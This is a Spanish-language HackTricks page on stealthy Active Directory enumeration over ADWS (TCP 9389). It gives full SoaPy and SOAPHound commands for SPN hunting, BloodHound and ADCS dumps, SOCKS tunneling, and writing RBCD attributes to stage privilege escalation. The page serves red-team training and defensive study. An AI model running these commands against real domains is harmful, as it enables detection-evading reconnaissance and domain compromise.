Active Directory Web Services (ADWS) Enumeration & Stealth Collection

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es ADWS?

Active Directory Web Services (ADWS) está habilitado por defecto en cada Domain Controller desde Windows Server 2008 R2 y escucha en TCP 9389. A pesar del nombre, no hay HTTP involucrado. En su lugar, el servicio expone datos estilo LDAP a través de una pila de protocolos de framing propietarios de .NET:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

Debido a que el tráfico está encapsulado dentro de estos marcos SOAP binarios y viaja por un puerto poco común, la enumeración mediante ADWS tiene muchas menos probabilidades de ser inspeccionada, filtrada o detectada por firmas que el tráfico clásico LDAP/389 & 636. Para los operadores esto significa:

  • Recon más sigiloso – Blue teams a menudo se concentran en consultas LDAP.
  • Libertad para recopilar desde hosts non-Windows (Linux, macOS) tunelizando 9389/TCP a través de un proxy SOCKS.
  • Los mismos datos que obtendrías vía LDAP (users, groups, ACLs, schema, etc.) y la capacidad de realizar writes (p. ej. msDs-AllowedToActOnBehalfOfOtherIdentity para RBCD).

Las interacciones con ADWS se implementan sobre WS-Enumeration: cada consulta comienza con un mensaje Enumerate que define el filtro/atributos LDAP y devuelve un EnumerationContext GUID, seguido por uno o más mensajes Pull que transmiten hasta la ventana de resultados definida por el servidor. Los contextos caducan después de ~30 minutos, así que las herramientas necesitan o bien paginar resultados o dividir filtros (consultas por prefijo en cada CN) para evitar perder el estado. Al solicitar descriptores de seguridad, especifique el control LDAP_SERVER_SD_FLAGS_OID para omitir SACLs; de lo contrario ADWS simplemente elimina el atributo nTSecurityDescriptor de su respuesta SOAP.

NOTA: ADWS también es usado por muchas herramientas RSAT GUI/PowerShell, por lo que el tráfico puede mezclarse con actividad administrativa legítima.

SoaPy – Native Python Client

SoaPy es una reimplementación completa de la pila de protocolos ADWS en puro Python. Construye los frames NBFX/NBFSE/NNS/NMF byte a byte, permitiendo la recopilación desde sistemas tipo Unix sin tocar el runtime .NET.

Características clave

  • Soporta proxying through SOCKS (útil desde C2 implants).
  • Filtros de búsqueda de grano fino idénticos a LDAP -q '(objectClass=user)'.
  • Operaciones opcionales de write ( --set / --delete ).
  • BOFHound output mode para ingestión directa en BloodHound.
  • Flag --parse para embellecer timestamps / userAccountControl cuando se necesita legibilidad humana.

Targeted collection flags & write operations

SoaPy incluye switches curados que replican las tareas de hunting LDAP más comunes sobre ADWS: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds, además de knobs crudos --query / --filter para pulls personalizados. Combínalos con primitivas de escritura como --rbcd <source> (sets msDs-AllowedToActOnBehalfOfOtherIdentity), --spn <service/cn> (SPN staging para Kerberoasting dirigido) y --asrep (flip DONT_REQ_PREAUTH en userAccountControl).

Ejemplo de búsqueda dirigida de SPN que sólo devuelve samAccountName y servicePrincipalName:

soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse

Usa el mismo host/credentials para immediately weaponise findings: dump RBCD-capable objects with --rbcds, then apply --rbcd 'WEBSRV01$' --account 'FILE01$' to stage a Resource-Based Constrained Delegation chain (véase Resource-Based Constrained Delegation para la ruta completa de abuso).

Instalación (host del operador)

python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

SOAPHound – Colección ADWS de alto volumen (Windows)

FalconForce SOAPHound es un colector .NET que mantiene todas las interacciones LDAP dentro de ADWS y emite JSON compatible con BloodHound v4. Construye una caché completa de objectSid, objectGUID, distinguishedName y objectClass una vez (--buildcache), y luego la reutiliza para pasadas de alto volumen --bhdump, --certdump (ADCS) o --dnsdump (DNS integrado en AD) de modo que solo ~35 atributos críticos salen del DC. AutoSplit (--autosplit --threshold <N>) fragmenta automáticamente las consultas por prefijo CN para mantenerse por debajo del EnumerationContext timeout de 30 minutos en bosques grandes.

Flujo de trabajo típico en una VM del operador unida al dominio:

# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json

# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output

# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot

Los JSON exportados se integran directamente en los flujos de trabajo de SharpHound/BloodHound—ver BloodHound methodology para ideas de graficado posteriores. AutoSplit hace que SOAPHound sea resistente en bosques de múltiples millones de objetos, manteniendo el conteo de consultas por debajo de los snapshots al estilo ADExplorer.

Flujo de trabajo sigiloso de recolección AD

El siguiente flujo muestra cómo enumerar objetos del dominio y ADCS sobre ADWS, convertirlos a BloodHound JSON y buscar rutas de ataque basadas en certificados – todo desde Linux:

  1. Tuneliza 9389/TCP desde la red objetivo hasta tu máquina (p. ej. vía Chisel, Meterpreter, SSH dynamic port-forward, etc.). Exporta export HTTPS_PROXY=socks5://127.0.0.1:1080 o usa SoaPy’s --proxyHost/--proxyPort.

  2. Recopilar el objeto raíz del dominio:

soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Recopilar objetos relacionados con ADCS del NC de Configuración:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. Convertir a BloodHound:
bofhound -i data --zip   # produces BloodHound.zip
  1. Sube el ZIP en la BloodHound GUI y ejecuta consultas cypher como MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c para revelar rutas de escalada de certificados (ESC1, ESC8, etc.).

Escribir msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)

soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

Combina esto con s4u2proxy/Rubeus /getticket para una cadena completa de Resource-Based Constrained Delegation (ver Resource-Based Constrained Delegation).

Resumen de herramientas

PurposeToolNotes
Enumeración de ADWSSoaPyPython, SOCKS, read/write
Volcado masivo de ADWSSOAPHound.NET, cache-first, BH/ADCS/DNS modes
Ingesta de BloodHoundBOFHoundConvierte registros de SoaPy/ldapsearch
Compromiso de certificadosCertipyPuede enrutar a través del mismo SOCKS

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks